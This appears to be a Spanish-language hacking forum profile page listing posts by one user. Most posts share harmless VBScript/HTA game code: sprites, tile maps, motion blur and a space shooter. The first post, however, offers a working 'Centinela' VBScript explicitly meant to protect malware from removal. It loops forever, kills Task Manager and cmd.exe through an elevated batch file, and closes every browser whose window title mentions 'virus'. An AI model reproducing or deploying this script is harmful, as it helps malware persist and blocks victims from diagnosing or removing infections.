Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - John1Connor

#1
Buenas, hace mucho no pasaba por acá (ni por ningún foro).
Hoy les traigo un Centinela para implementar en script de vb y proteger tu malware para dificultar su eliminación.

Breve Reseña:
CitarCuando yo me inicie en el mundo de la programación lo hice para programar viruses, mas precisamente gusanos. Pero con el tiempo aprendí de verdad y deje las pavadas y empecé a programar software y trabajar, ahora programo videojuegos, frameworks, y motores/editores de juegos.
Hace un mes sufrí una lesión en la cervical que no me permite trabajar ni estar mucho tiempo sentado programando, por eso me puse a hacer boludeces en vbscript.
Y mientras preparaba un buen gusanito con alma de ransomware (pero inofensivo), se me ocurrió ponerle un CENTINELA.
Que seria un CENTINELA? : Un script, o una función dentro de un script que se encarga de vigilar y velar por la integridad del malware.
De que manera? :  Buscando programas abiertos que te permitan "apagar" el virus como  el Administrador de tareas, o la consola de comandos CMD y cerrándolos.
                            Buscando entre los navegadores web y dentro de las pestañas o ventanas la palabra "virus" y así impedir que busques temas relacionados con
                             antivirus, virus, marcas de antivirus, soluciones, etc.

Y aqui el codigo, sencillito y de pocas lineas, cortita y al pie...

Código (vb) [Seleccionar]

DO
SET FASO = CreateObject("Scripting.FileSystemObject")
SET YPF = WScript.CreateObject("WScript.Shell")
SET SHELL = CreateObject("Shell.Application")
YPF.Run "cmd /c echo taskkill /f /im Taskmgr.exe > %tmp%/protector.bat", 0, true
YPF.Run "cmd /c echo taskkill /f /im cmd.exe >> %tmp%/protector.bat", 0, true
SHELL.ShellExecute FASO.GetSpecialFolder(2) & "/protector.bat", , , "runas", 0
YPF.Run "cmd /c tasklist /fi ""imagename eq chrome.exe"" /fo list /v > %temp%/out.txt", 0, true
YPF.Run "cmd /c tasklist /fi ""imagename eq firefox.exe"" /fo list /v >> %temp%/out.txt", 0, true
YPF.Run "cmd /c tasklist /fi ""imagename eq opera.exe"" /fo list /v >> %temp%/out.txt", 0, true
YPF.Run "cmd /c tasklist /fi ""imagename eq safari.exe"" /fo list /v >> %temp%/out.txt", 0, true
YPF.Run "cmd /c tasklist /fi ""imagename eq iexplore.exe"" /fo list /v >> %temp%/out.txt", 0, true
YPF.Run "cmd /c tasklist /fi ""imagename eq microsoftedge.exe"" /fo list /v >> %temp%/out.txt", 0, true
WScript.Sleep 100
SET ARCHIVO = FASO.OpenTextFile(FASO.GetSpecialFolder(2) & "/out.txt", 1)
IF InStr(lCase(ARCHIVO.ReadAll), "virus") > 0 THEN
YPF.Run "taskkill /f /im chrome.exe", 0, True
YPF.Run "taskkill /f /im firefox.exe", 0, True
YPF.Run "taskkill /f /im opera.exe", 0, True
YPF.Run "taskkill /f /im safari.exe", 0, True
YPF.Run "taskkill /f /im iexplore.exe", 0, True
YPF.Run "taskkill /f /im microsoftedge.exe", 0, True
END IF
WScript.Sleep 100
LOOP

REM        Centinela VBScript  - Powered by JohnConnor (L) 2021



Saludos!
#2
Buenas, les traigo un pequeño aporte para los que se quieran iniciar en la programación de juegos en VBScript...  :P   (joda)
bueno, hablando en serio un efecto muy bueno para mover objetos y que se vea un poco mas "real" la ""camara"".

Movimiento sin efecto blur:
[youtube=640,360]https://www.youtube.com/watch?v=2oPHSuGpbDU[/youtube]

Movimiento con efecto blur:
[youtube=640,360]https://www.youtube.com/watch?v=CSF4Bfsom-A[/youtube]

Esto se puede abrir desde iexplorer online online pero descubri que rinde mucho pero mucho mas un HTA por eso el codigo es todo uno y es .hta:

Código (vb) [Seleccionar]

<html>
<head>
<title>Motion Blur VBScript Canvas HTML5</title>
<meta http-equiv="X-UA-Compatible" content="IE=10">
<script language="vbscript">
Option Explicit
Dim img,i,PosY
Dim Tiempo
Dim DirectY
DirectY = 10
PosY = cint(50)
window.resizeTo 800 , 600

Sub Main()
   Dim canvas
   Set canvas = document.getElementById("Canvas")
   Dim ctx
   Set ctx = canvas.getContext("2d")
set img = document.getElementById("arbol")
ctx.clearRect 0, 0,800,600
ctx.drawImage img,50,PosY
ctx.globalAlpha = 5
for i=0 to 10
if DirectY < 0 then
ctx.drawImage img,50,PosY + i
else
ctx.drawImage img,50,PosY - i
end if
ctx.globalAlpha = 0.1
next
PosY = PosY + DirectY
ctx.fillStyle = "#FFFFFF"
ctx.font = "bold 30px sans-serif"
ctx.fillText "PosY = " & PosY,500,400
if PosY > 520 Then DirectY = cint(-10) end if
if PosY < 0 Then DirectY = cint(10) end if
Tiempo = SetTimeOut("Main()",25)
ctx.stroke
End Sub



</script>
</head>
<body onload="Main()" bgcolor="black">
<img id="arbol" width="0" height="0" src="0.png">
<canvas id="Canvas" width="800" height="600"></canvas>
</body>
</html>



eso es todo. saludos




Nuevo video donde se aprecia mejor el efecto:
[youtube=640,360]https://www.youtube.com/watch?v=CKegeNyR8sU[/youtube]
#3
Scripting / get o post con BACTH
21 Julio 2015, 10:09 AM
Estaba mirando este problemita ya resuelto : http://foro.elhacker.net/scripting/mandar_archivos_con_batch_a_ftp_resuelto-t438314.0.html y me surgio la duda (como no el tema ya estaba resuelto hago un post nuevo):
Citarcapaz que hay que hacer un tema nuevo, pero como  mandas argumentos con una url sea get o post a cualquier servidor que te reciba con un php o asp por ej. (como un navigation), me imagino un ping pero no se nada de batch. por ahi se puede usar internet explorer desde la consola no se..

#4
Bueno crero que a partir de IExplorer 10 se puede jugar con vbscript canvas c33s y html5  ;-), aca les dejo un ejemplo de uso de sprites en vbscripts css3 y html5 (HTA). sin kinetic, jquerry ni ninguna de esas cosas 100% yo:


La imagen de los sprites:

y aca un video de como va la cosa   :huh:
[youtube=640,360]https://www.youtube.com/watch?v=OByO-KHpqX4[/youtube]


y un poco de codigo vbs:

Sprites:
Código (vb) [Seleccionar]

Dim Left_P, Top_P, SpriteF, DirectY
Dim Caminata
Caminata = "False"
Left_P = cint(0) : Top_P = cint(0)
SpriteF = 0
DirectY = 27
Player_State = "Stand"
with sprite.style
.position = "absolute"
.left = cint(screen.width) / 2
.top = 510
.height = 150
.width = 94
.backgroundposition = Left_P & " " & Top_P
end with



Sub window_OnLoad()
FrameSprite = SetInterval("FrameS()",40)
Llamar = SetTimeOut("CargarMapa()",100)
end sub



Sub FrameS()
Select Case Player_State
case "Stand" Call Parado()
case "Walk"  Call Caminar()
case "Run"  Call Correr()
case "Jump" Call Saltar()
end select
End Sub


Public Sub Parado()
Top_P = cint(0)
if cint(SpriteF) > cint(21) Then SpriteF = cint(0) end if
if SpriteF = cint(21) Then
Left_P = cint(0) : Top_P = cint(0)
Sprite.Style.BackgroundPosition = Left_P & " " & Top_P
SpriteF = cint(0)
else
Left_P = cint(Left_P) - cint(100) : Top_P = cint(0)
Sprite.Style.BackgroundPosition = Left_P & " " & Top_P
SpriteF = cint(SpriteF) + cint(1)
end if
End Sub

Public Sub Caminar()
Sprite.style.top = 510
Top_P = cint(-150)
if cint(SpriteF) > cint(21) Then SpriteF = cint(0) end if
if cint(SpriteF) = cint(21) Then
Left_P = cint(0) : Top_P = cint(-150)
Sprite.Style.BackgroundPosition = Left_P & " " & Top_P
SpriteF = cint(0)
else
Left_P = cint(Left_P) - cint(100) : Top_P = cint(-150)
Sprite.Style.BackgroundPosition = Left_P & " " & Top_P
SpriteF = cint(SpriteF) + cint(1)
end if
Call Mover_Sprite()
End Sub




Public Sub Mover_Sprite()
if cint(Limpiar(Sprite.Style.Left)) =< cint(200) or cint(Limpiar(Sprite.Style.Left)) >= cint(Screen.Width) - cint(200) then
Call Mover()
else
Sprite.Style.Left = Limpiar(Sprite.Style.Left) + cint(DirectY) : DirectMap_X = 0
end if
End Sub

Public Sub Acomodar()
if cint(Limpiar(Sprite.Style.Left)) < cint(200) then Sprite.Style.Left = 200 end if
if cint(Limpiar(Sprite.Style.Left)) > cint(Screen.Width) - cint(200) then Sprite.Style.Left = cint(Screen.Width) - cint(200) end if
end sub
Public Sub CambiarRumbo()
if cint(Limpiar(Sprite.Style.Left)) >= cint(Screen.Width) - cint(200) then
Sprite.Style.Left = Limpiar(Sprite.Style.Left) - 15
elseif cint(Limpiar(Sprite.Style.Left)) =< cint(200) then
Sprite.Style.Left = Limpiar(Sprite.Style.Left) + 15
end if
end sub


Public sub Gravedad()
#html
end sub



Public Sub Saltar()
Top_P = cint(-300)
if cint(SpriteF) >= cint(21) Then
if Caminata = "True" Then
Player_State = "Walk"
else
Sprite.style.top = 510
Player_State = "Stand"
end if
Left_P = cint(0) : Top_P = cint(0)
SpriteF = cint(0)
else
Left_P = cint(Left_P) - cint(100) : Top_P = cint(-300)
Sprite.Style.BackgroundPosition = Left_P & " " & Top_P
SpriteF = cint(SpriteF) + cint(1)
if cint(SpriteF) < cint(11) then
Sprite.Style.Top = Limpiar(Sprite.Style.Top) - cint(15)
if cint(Limpiar(Sprite.Style.Left)) < cint(200) or cint(Limpiar(Sprite.Style.Left)) > cint(Screen.Width) - cint(200) then
Call Mover()
else
Sprite.Style.Left = Limpiar(Sprite.Style.Left) + cint(DirectY)
end if
else
Sprite.Style.Top = Limpiar(Sprite.Style.Top) + cint(15)
if cint(Limpiar(Sprite.Style.Left)) < cint(200) or cint(Limpiar(Sprite.Style.Left)) > cint(Screen.Width) - cint(200) then
Call Mover()
else
Sprite.Style.Left = Limpiar(Sprite.Style.Left) + cint(DirectY)
end if
end if
end if
End Sub


Public Sub Correr()
if SpriteF = 15 Then
Left_P = 0 : Top_P = -282
Sprite.Style.BackgroundPosition = Left_P & " " & Top_P
SpriteF = 0
else
Left_P = cint(Left_P) - cint(150) : Top_P = -282
Sprite.Style.BackgroundPosition = Left_P & " " & Top_P
SpriteF = SpriteF + 1
Sprite.Style.Left = Limpiar(Sprite.Style.Left) + cint(DirectY)
end if
End Sub




Function Limpiar(dato)
Limpiar = Replace(dato,"px","")
Limpiar = Replace(Limpiar,".","")
Limpiar = Replace(Limpiar,":","")
Limpiar = Replace(Limpiar,",","")
Limpiar = Replace(Limpiar,"am","")
Limpiar = Replace(Limpiar,"pm","")
Limpiar = Replace(Limpiar,"em","")
Limpiar = Replace(Limpiar,"hs","")
end function

'filter: FlipH; PARA GIRAR




Function Coliciones(PosXUno, AnchoUno, PosYUno, LargoUno,PosXDos, AnchoDos, PosYDos, LargoDos)
If  (Cdbl(PosXUno) + Cdbl(AnchoUno)) > (Cdbl(PosXDos))_
And (cdbl(PosXUno)) < (Cdbl(PosXDos) + Cdbl(AnchoDos))_
 And (cdbl(PosYUno) + cdbl(LargoUno)) > (cdbl(PosYDos))_
  And (cdbl(PosYUno)) < (cdbl(PosYDos) + Cdbl(AnchoDos)) Then
Coliciones = "True"
Else
Coliciones = "False"
End If
End Function


Mapping (VBS):
   
Código (vb) [Seleccionar]

Dim Map_X, DirectMap_X
Map_X = cint(0)
DirectMap_X = cint(0)



Public Sub CargarMapa()
Dim TileSet(199)
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile("mapas/mapa0.map", 1)
   mapa = objFile.ReadAll
   splitmapa = Split(mapa,",")
CuentaMapa  = ubound(splitmapa)
for m=0 to CuentaMapa
Tileset(m) = splitmapa(m)
next
ii = cint(0)
TileTop = cint(0)
TileLeft = cint(0)
for i = 0 to 199
Document.Title = Porcentaje(i,199)
if cint(ii) > cint(24) then TileTop = cint(TileTop) + cint(128) : TileLeft = cint(0) : ii = 0 end if
if cint(i) > cInt(199) Then Sleep(100) end if
bodydiv.InnerHTML = bodydiv.InnerHTML + "<img id=""tile"&i&""" style="""">"
ExecuteGlobal("tile" & i & ".src = ""imagenes/tile/" & TileSet(i) & ".png""")
ExecuteGlobal("tile"&i&".style.position = ""Absolute""")
ExecuteGlobal("tile"&i&".style.top = " & TileTop)
ExecuteGlobal("tile"&i&".style.left = " & TileLeft)
TileLeft = cint(TileLeft) + cint(128)
ii = cint(ii) + cint(1)
next
for a=0 to 199
ExecuteGlobal("tile"&a&".style.top = limpiar(tile"&a&".style.top) - 128")
next
End Sub



Public Sub Mover()
if DirectY = -15 then
DirectMap_X = 27
Map_X = cint(Map_X) + cint(DirectMap_X)
end if

if DirectY = 15 then
DirectMap_X = -27
Map_X = cint(Map_X) + cint(DirectMap_X)
end if

if DirectY = 0 then
DirectMap_X = 0
end if

for a=0 to 199
ExecuteGlobal("tile"&a&".style.left = Limpiar(tile"&a&".style.left) +"& DirectMap_X)
next

'Tiempo = SetTimeOut("Mover()",40)
end Sub




Function Porcentaje(a,b)
Porcentaje = round(a / b * 100)
end function

Sub Sleep(MSecs)
Set fso = CreateObject("Scripting.FileSystemObject")
 If Fso.FileExists("sleeper.vbs")=False Then
 Set objOutputFile = fso.CreateTextFile("sleeper.vbs", True)
 objOutputFile.Write "wscript.sleep WScript.Arguments(0)"
 objOutputFile.Close
 End If
CreateObject("WScript.Shell").Run "sleeper.vbs " & MSecs,1 , True
End Sub


Function Limpiar(dato)
Limpiar = Replace(dato,"px","")
Limpiar = Replace(Limpiar,".","")
Limpiar = Replace(Limpiar,":","")
Limpiar = Replace(Limpiar,",","")
Limpiar = Replace(Limpiar,"am","")
Limpiar = Replace(Limpiar,"pm","")
Limpiar = Replace(Limpiar,"em","")
Limpiar = Replace(Limpiar,"hs","")

end function



Ejemplo de un mapa (mapa0.map):
Código (vb) [Seleccionar]

0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14,15,15,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,2,2,2,2,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,5,5,5,5,6,0,0,0,0,1,2,3,0,0,0,0,0,0,0,0,0,2,2,2,8,5,5,5,5,10,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5



y bueno eso es todo.. Saludos!
:silbar:





[MODIFICO]

Perdon algo importante sobre el uso de canvas y vbscript en un HTA es la compatibilidad, iexplorer 9, 10 y 11  son diferentes y para cada uno tenes una linea de codigo diferente...

IExplorer 9 y 10: (en el html)
Código (html) [Seleccionar]

<meta http-equiv="X-UA-Compatible" content="IE=edge">


IExporer 11:
Código (html) [Seleccionar]

<meta http-equiv="X-UA-Compatible" content="IE=10">
#5
Buenas. estuve trabajando  :huh:  en el jueguito y como se me fue la mano le cambie el nombre le puse imagenes de licencia publica open open free  ;D

Mejore mucho el sonido, la jugabilidad del juego, laa IA  de los ovnis y le puse menu. lo deje cucu pipi  ;-)

Hasta le hice un instalador!  :o.

Como es una DEMO, y el juego se encuentra en desarrollo (estoy esperando dibujos y sonidos diseñados especialmente para el juego por parte de unos amigos), no dejo el codigo fuente asi se quedan con la intriga pero les muestro un video.
Mañana cuando temrino unos detalles para jugar online ya lo subo a MEGA.   :silbar:


Aca les dejo el video:
[youtube=640,360]https://www.youtube.com/watch?v=21WFlDGP4eY[/youtube]




Saludos !
#6
Que les parece?
[youtube=640,360]https://www.youtube.com/watch?v=0KrIuOY7fqE[/youtube]


La falta de WScript.Sleep en las aplicaciones html me hace hacer estas cosas raras:
Código (vb) [Seleccionar]

Dim T
T = 0
Public Sub Presenta()
Document.Body.Style.Cursor = "hand"
Logos.src = "imagenes/logos/ramonscriptlogo.png"
With Logos.Style
.position = "Absolute"
.display = "inline"
.filter = "alpha(opacity=" & T & ")"
.width = 230
.height = 300
.top = (Limpiar(Screen.Height) / 2) - (Limpiar(.height) / 2)
.left = (Limpiar(Screen.Width) / 2) - (Limpiar(.width) / 2)
Call Opacity()
end with
End SUb

Public Function Limpiar(s)
Limpiar = Replace(s,"px","")
End Function



Sub Opacity()
if T = 100 Then
Call BorrarUno()
Else
T = cdbl(T) + cdbl(1)
Logos.Style.filter = "alpha(opacity=" & T & ")"
TP = Window.SetTimeOut("Opacity()",50)
end if

End Sub


Sub BorrarUno()
Logos.Style.filter = "alpha(opacity=0)"
T = 0
Logos.src = "imagenes/logos/foroeh.png"
With Logos.Style
.width = 513
.height = 145
.top = (Limpiar(Screen.Height) / 2) - (Limpiar(.height) / 2)
.left = (Limpiar(Screen.Width) / 2) - (Limpiar(.width) / 2)
Call OpacityDos()
end with
End SUb


Sub OpacityDos()
if T = 100 Then
Call BorrarDos()
Else
T = cdbl(T) + cdbl(1)
Logos.Style.filter = "alpha(opacity=" & T & ")"
TP = Window.SetTimeOut("OpacityDos()",50)
end if
End Sub


Sub BorrarDos()
Logos.Style.filter = "alpha(opacity=0)"
T = 0
Logos.src = "imagenes/logos/oglogo.png"
With Logos.Style
.width = 450
.height = 100
.top = (Limpiar(Screen.Height) / 2) - (Limpiar(.height) / 2)
.left = (Limpiar(Screen.Width) / 2) - (Limpiar(.width) / 2)
Call OpacityTres()
end with
End SUb


Sub OpacityTres()
if T = 100 Then
Call BorrarTres()
Else
T = cdbl(T) + cdbl(1)
Logos.Style.filter = "alpha(opacity=" & T & ")"
TP = Window.SetTimeOut("OpacityTres()",50)
end if
End SUb

Sub BorrarTres()
Logos.Style.filter = "alpha(opacity=0)"
T = 0
Logos.src = "imagenes/logos/jclogo.png"
With Logos.Style
.width = 400
.height = 36
.top = (Limpiar(Screen.Height) / 2) - (Limpiar(.height) / 2)
.left = (Limpiar(Screen.Width) / 2) - (Limpiar(.width) / 2)
Call OpacityCuatro()
end with
End SUb

Sub OpacityCuatro()
if T = 100 Then
Call BorrarCuatro()
Else
T = cdbl(T) + cdbl(1)
Logos.Style.filter = "alpha(opacity=" & T & ")"
Logos.Style.Left = Limpiar(Logos.Style.Left) - (T / 50)
TP = Window.SetTimeOut("OpacityCuatro()",20)
end if
End SUb



Sub BorrarCuatro()
Logos.Style.filter = "alpha(opacity=0)"
T = 0
Logos.src = "imagenes/logos/plogo.png"
With Logos.Style
.width = 200
.height = 30
.top = (Limpiar(Screen.Height) / 2) + 50
.left = (Limpiar(Screen.Width) / 2) - (Limpiar(.width) / 2)
Call OpacityCinco()
end with
End SUb

Sub OpacityCinco()
if T = 100 Then
Call BorrarCinco()
Else
T = cdbl(T) + cdbl(1)
Logos.Style.filter = "alpha(opacity=" & T & ")"
Logos.Style.Left = Limpiar(Logos.Style.Left) + (T / 20)
TP = Window.SetTimeOut("OpacityCinco()",50)
end if
End SUb


Sub BorrarCinco()
Logos.Style.filter = "alpha(opacity=0)"
T = 0
Logos.src = "imagenes/logos/logo.png"
With Logos.Style
.width = 692 / 2
.height = 305 / 2
.top = (Limpiar(Screen.Height) / 2) - (Limpiar(.height) / 2)
.left = (Limpiar(Screen.Width) / 2) - (Limpiar(.width) / 2)
Call OpacitySeis()
end with
End SUb

Sub OpacitySeis()
if T = 100 Then
Exit Sub
Else
T = cdbl(T) + (0.5)
Logos.Style.filter = "alpha(opacity=" & T & ")"
Logos.Style.Top = (Limpiar(Screen.Height) / 2) - (T)
TP = Window.SetTimeOut("OpacitySeis()",10)
end if
End SUb



Espero que les guste.
Saludos
#7
Scripting / Juego de naves VBScript + HTA.
23 Junio 2015, 04:59 AM
Buenas les traigo un jueguito que hice hace unos días, estaría bueno terminarlo pero la verdad que solo es muy difícil por eso lo expongo acá y el que tiene ganas mete mano y ayuda jajaj

Bueno primero un vídeo para que vean como es el juego: [youtube=640,360]https://www.youtube.com/watch?v=RJKNxxMobv8[/youtube]



La mayoría de las  imágenes las tome prestadas junto con la mayoria de los sprites, :rolleyes: por eso si alguien tiene imágenes propias son mas que bienvenidas.

Los sonidos los saque de OpenGameArt.org pero fue hace mucho que me baje varios packs de sonidos, si alguien es el creador le agradezco mucho su trabajo que me fue muy útil y que me lo haga saber.

y el código es lo único que es mio, aprendi vbscript cuando tenia 13 años de Novlucker en el foro code-makers. todas las .com .ar .net .es jajaja y mucho años despues de tanto matar el tiempo com vbscript puedo hacer esto que tiene miles y miles de cosas para mejorar.

Codigo: .HTA

Código (vb) [Seleccionar]

<HTML>

<HEAD>
   <TITLE>Space Invaders 2.0 (Asteroids expansion)</TITLE>

   <HTA:APPLICATION
   ID = "SI2.0"
   APPLICATIONNAME = "jugador2os Socket_Client by JohnConnor"
   BORDER = "none"
   CAPTION = "yes"
   ICON = "app.ico"
   SHOWINTASKBAR = "yes"
   SINGLEINSTANCE = "yes"
   SYSMENU = "yes"
   WINDOWSTATE = "maximize"
   SCROLL = "no"
   SCROLLFLAT = "no"
   VERSION = "1.0"
   INNERBORDER = "no"
   SELECTION = "no"
   MAXIMIZEBUTTON = "yes"
   MINIMIZEBUTTON = "yes"
   NAVIGABLE = "yes"
   CONTEXTMENU = "yes"
   BORDERSTYLE = "normal"
   >
</HEAD>
<Style>
         #fondo{
position: absolute;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  margin: auto;
  width: 110%;
height: 120%;
z-index: -999;

         }

         </Style>
<BODY BGColor="Black" Scroll="no" Width="100%" Height="100%">
<svg width="100%" height="100%" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<DIV ID="Panel_Puntos">0</DIV>
<IMG ID="Logo1" SRC="Imagenes/logo.png">
<img src="Imagenes/jugador1.png" id="jugador1" title="">
<img src="Imagenes/jugador2.png" id="jugador2" title="">
<img src="Imagenes/misil.gif" id="misil0" title="">
<img src="Imagenes/misil.gif" id="misil1" title="">
<img src="Imagenes/fondo.jpg" id="fondo" title="">
<img src="Imagenes/meteoro.png" id="asteroide0">
<img src="Imagenes/meteoro.png" id="asteroide1">
<img src="Imagenes/meteoro.png" id="asteroide2">
<img src="Imagenes/meteoro.png" id="asteroide3">
<img src="Imagenes/meteoro.png" id="asteroide4">
<img src="Imagenes/meteoro.png" id="asteroide5">
<img src="Imagenes/meteoro.png" id="asteroide6">
<img src="Imagenes/meteoro.png" id="asteroide7">
<img src="Imagenes/meteoro.png" id="asteroide8">
<img src="Imagenes/meteoro.png" id="asteroide9">
<img id="ovni0" title="">
<img id="ovni1" title="">
<img id="ovni2" title="">
<img id="ovni3" title="">
<img id="ovni4" title="">

<img id="navemadre0" title="">
<img id="navemadre1" title="">

<img src="Imagenes/vida.png" id="objeto0">
<img src="Imagenes/misil.gif" id="objeto1">
<img src="Imagenes/escudo.png" id="objeto2" title="">
<BGSOUND ID="SonidosAmbiente" SRC="Sonidos/ambiente0.mp3" Volume="100" Loop="Infinite">
<BGSOUND ID="SonidosJuego" SRC="" Volume="200">
<BGSOUND ID="SonidosJugador1" SRC="" Volume="200">
<BGSOUND ID="SonidosObjeto" SRC="" Volume="200">
<BGSOUND ID="SonidosOvni" SRC="" Volume="200">
<BGSOUND ID="SonidosMisil" SRC="" Volume="200">


</svg>
</BODY>

</HTML>


<SCRIPT LANGUAGE="VBScript">

Dim Tiempo1,Tiempo2,Tiempo3
Dim TimerUnoE
Dim Mapa(100,100)
Dim PosY,PosX
Dim DY,DX : DY = 0 : DX = 0
TimerUnoE = 0
Dim limite
Dim Juego_e,Disparo_e
Dim Protect_e
Dim Puntos
Puntos = 0
Disparo_e = 0
limite=-10
Juego_e = 0 '---> No iniciado'
Protect_e = 0

with Logo1.Style
.position = "Absolute"
.width = 350 : .Height = 200
.top = (Screen.Height / 3) - Limpiar(.height) / 2
.left = (Screen.Width / 2) - Limpiar(.width) / 2
.Display = "InLine"
end with
'-------------------------------------------------------------------------------------Jugador1'
with jugador1.style
.position = "Absolute"
.top = 5000
.left = 5000
.width = 50
.height = 50:end with
jugador1.title = 100

'-------------------------------------------------------------------------------------Jugador2'
with jugador2.style
.position = "Absolute"
.top = 5000
.left = 5000
.width = 50
.height = 50:end with
jugador2.title = 100
'-------------------------------------------------------------------------------------Misil0'
Dim direcYmisil0
Dim misil0_PosY, misil0_PosX
direcYmisil0 = -100 : misil0_PosX = -100
with misil0.style
.position = "Absolute"
.top = 999
.left = 900
.width = cInt(15)
.height = 40
.zIndex = -2:end with
misil0.title = 0
'--------------------------------------------------------------------------------------Misil1'
misil1.style.position = "Absolute"
misil1.Style.Top = 999
misil1.Style.Left = 900
misil1.Style.Width = cInt(15)
misil1.Style.Height = 40
misil1.Style.zIndex = -2
misil1.title = 0
'--------------------------------------------------------------------------------------Asteroide0'
Dim direcYasteroide0, direcXasteroide0
Dim asteroide0_PosY, asteroide0_PosX
direcYasteroide0 = 0 : direcXasteroide0 = 0
with asteroide0.style
.position = "Absolute"
.top = -100 
.left = 1000
.width = 30
.height = 30:end with
'--------------------------------------------------------------------------------------Asteroide1'
Dim direcYasteroide1, direcXasteroide1
Dim asteroide1_PosY, asteroide1_PosX
direcYasteroide1 = 0 : direcXasteroide1 = 0
with asteroide1.style
.position = "Absolute"
.top = 1000
.left = 1000
.width = 30
.height = 30:end with
'--------------------------------------------------------------------------------------Asteroide2'
Dim direcYasteroide2, direcXasteroide2
Dim asteroide2_PosY, asteroide2_PosX
direcYasteroide2 = 0 : direcXasteroide2 = 0
with asteroide2.style
.position = "Absolute"
.top = 1300
.left = -100
.width = 30
.height = 30:end with
'--------------------------------------------------------------------------------------Asteroide3'
Dim direcYasteroide3, direcXasteroide3
Dim asteroide3_PosY, asteroide3_PosX
direcYasteroide3 = 0 : direcXasteroide3 = 0
with asteroide3.style
.position = "Absolute"
.top = 1300
.left = 1000
.width = 30
.height = 30:end with
'--------------------------------------------------------------------------------------Asteroide4'
Dim direcYasteroide4, direcXasteroide4
Dim asteroide4_PosY, asteroide4_PosX
direcYasteroide4= 0 : direcXasteroide4 = 0
with asteroide4.style
.position = "Absolute"
.top = -30
.left = -30
.width = 30
.height = 30:end with
'--------------------------------------------------------------------------------------Asteroide5'
Dim direcYasteroide5, direcXasteroide5
Dim asteroide5_PosY, asteroide5_PosX
direcYasteroide5= 0 : direcXasteroide5 = 0
with asteroide5.style
.position = "Absolute"
.top = -30
.left = -30
.width = 30
.height = 30:end with
'--------------------------------------------------------------------------------------Asteroide6'
Dim direcYasteroide6, direcXasteroide6
Dim asteroide6_PosY, asteroide6_PosX
direcYasteroide6= 0 : direcXasteroide6 = 0
with asteroide6.style
.position = "Absolute"
.top = -30
.left = -30
.width = 30
.height = 30:end with
'--------------------------------------------------------------------------------------Asteroide7'
Dim direcYasteroide7, direcXasteroide7
Dim asteroide7_PosY, asteroide7_PosX
direcYasteroide7= 0 : direcXasteroide7 = 0
with asteroide7.style
.position = "Absolute"
.top = -30
.left = -30
.width = 30
.height = 30:end with
'--------------------------------------------------------------------------------------Asteroide8'
Dim direcYasteroide8, direcXasteroide8
Dim asteroide8_PosY, asteroide8_PosX
direcYasteroide8= 0 : direcXasteroide8 = 0
with asteroide8.style
.position = "Absolute"
.top = -30
.left = -30
.width = 30
.height = 30:end with
'--------------------------------------------------------------------------------------Asteroide9'
Dim direcYasteroide9, direcXasteroide9
Dim asteroide9_PosY, asteroide9_PosX
direcYasteroide9= 0 : direcXasteroide9 = 0
with asteroide9.style
.position = "Absolute"
.top = -30
.left = -30
.width = 30
.height = 30:end with
'---------------------------------------------------------------------------------------ovni0'
Dim direcYovni0, direcXovni0
Dim ovni0_PosY, ovni0_PosX
direcYovni0= 0 : direcXovni0 = 0
with ovni0.style
.position = "Absolute"
.top = -300
.left = -450
.width = 60
.height = 35:end with
ovni0.src = "Imagenes/ovni.gif"
ovni0.title = 1
'-----------------------------------------------------------------------------------------------------------ovni1'
Dim direcYovni1, direcXovni1
Dim ovni1_PosY, ovni1_PosX
direcYovni1= 0 : direcXovni1 = 0
with ovni1.style
.position = "Absolute"
.top = -200
.left = -200
.width = 60
.height = 35:end with
ovni1.src = "Imagenes/ovni.gif"
ovni1.title = 100
'---------------------------------------------------------------------------------------ovni2'
Dim direcYovni2, direcXovni2
Dim ovni2_PosY, ovni2_PosX
direcYovni2= 0 : direcXovni2 = 0
with ovni2.style
.position = "Absolute"
.top = -400
.left = 500
.width = 60
.height = 35:end with
ovni2.src = "Imagenes/ovni.gif"
ovni2.title = 100
'---------------------------------------------------------------------------------------ovni3'
Dim direcYovni3, direcXovni3
Dim ovni3_PosY, ovni3_PosX
direcYovni3= 0 : direcXovni3 = 0
with ovni3.style
.position = "Absolute"
.top = -300
.left = 1000
.width = 60
.height = 35:end with
ovni3.src = "Imagenes/ovni.gif"
ovni3.title = 100
'---------------------------------------------------------------------------------------ovni4'
Dim direcYovni4, direcXovni4
Dim ovni4_PosY, ovni4_PosX
direcYovni4= 0 : direcXovni4 = 0
with ovni4.style
.position = "Absolute"
.top = -400
.left = 1500
.width = 60
.height = 35:end with
ovni4.src = "Imagenes/ovni.gif"
ovni4.title = 100
'----------------------------------------------------------------------------------------NaveMadre0'
Dim direcYnavemadre0, direcXnavemadre0
Dim navemadre0_PosY, navemadre0_PosX
direcYnavemadre0= 0 : direcXnavemadre0 = 0
with navemadre0.style
.position = "Absolute"
.top = 9999
.left = 9999
.width = 100
.height = 100:end with
navemadre0.src = "Imagenes/navea.png"
navemadre0.title = 1000
'----------------------------------------------------------------------------------------NaveMadre1'
Dim direcYnavemadre1, direcXnavemadre1
Dim navemadre1_PosY, navemadre1_PosX
direcYnavemadre1= 0 : direcXnavemadre1 = 0
with navemadre1.style
.position = "Absolute"
.top = 9999
.left = 9999
.width = 100
.height = 100:end with
navemadre1.src = "Imagenes/naveb.png"
navemadre1.title = 10000
'--------------------------------------------------------------------------------------Vida (objeto0)'
Dim direcYobjeto0, direcXobjeto0
Dim objeto0_PosY, objeto0_PosX
direcYobjeto0= 0 : direcXobjeto0 = 0
with objeto0.style
.position = "Absolute"
.top = 1500
.left = 1500
.width = 30
.height = 30:end with
objeto0.title = 0
